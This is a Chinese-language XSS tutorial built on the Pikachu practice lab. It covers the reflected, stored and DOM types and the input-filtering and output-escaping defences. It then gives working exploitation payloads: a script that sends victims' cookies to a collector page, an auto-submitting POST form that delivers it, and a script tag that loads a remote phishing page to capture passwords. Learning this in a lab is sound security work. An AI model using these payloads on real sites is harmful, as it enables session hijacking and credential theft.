一、概述
XSS(跨站脚本)概述 Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
二、反射型XSS (get)
1.先在查看器中修改前端代码,把输入框长度弄大,去掉原来20长度的限制
2、输入 <script>alert('xss')</script> ,注意要在英文输入法状态下完成,否则括号、引号都不对,得到弹窗输出
3、get 型 XSS 通过URL方式提交,如下
http://192.168.80.137/pika/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&submit=submit
攻击者精心编制代码,获取用户cookie、token之类,肯定不是只做无聊的弹窗,发送这个URL给用户,由于用户看到这个链接是知名论坛,无意识点击之后会中招,cookie之类信息被黑客获取,从而黑客可以以受害者身份进入网站
三、存储型XSS
类似,写入留言板的XSS,用户打开这个页面就会中招
四、DOM型XSS
闭合 ,例如 #' onclick="alert(111)"> 写入,这样完成XSS
五、利用
1、平台准备
2、反射型XSS利用
比如跟谁在论坛中聊天,把这一串发给他,他一不小心点击马上中招,cookie就被拿走了
<script>document.location = 'http://192.168.80.137/pika/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
3、存储型XSS利用
要做一个页面,在测试环境中页面地址位于 C:phpStudyPHPTutorialWWWpikapkxssxcookie
把页面地址 192.168.80.137/pika/pkxss/xcookie/post发给被害者,被害者点击页面然后中招
(1)首先,被害者要登录成功
(2) 192.168.80.137/pika/pkxss/xcookie/post.html 把这个发给用户,里面内容主要是
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.80.137/pika/vul/xss/xsspost/xss_reflected_post.php"> <input id="xssr_in" type="text" name="message" value= "<script> document.location = 'http://192.168.80.137/pika/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
4、存储型XSS利用 - 钓鱼攻击
制作自己的PHP网站接收钓鱼信息,然后把相应脚本嵌入存在XSS漏洞的留言板,用户打开这个页面会弹出用户名、密码,虽然浏览器已经提示安全性(现在的浏览器安全性都不错),但安全意识不足的用户可能仍会输入用户名密码然后中招。
<script src="http://192.168.1.15/pika/pkxss/xfish/fish.php"></script>
这个地方脚本可以看一下是怎么写的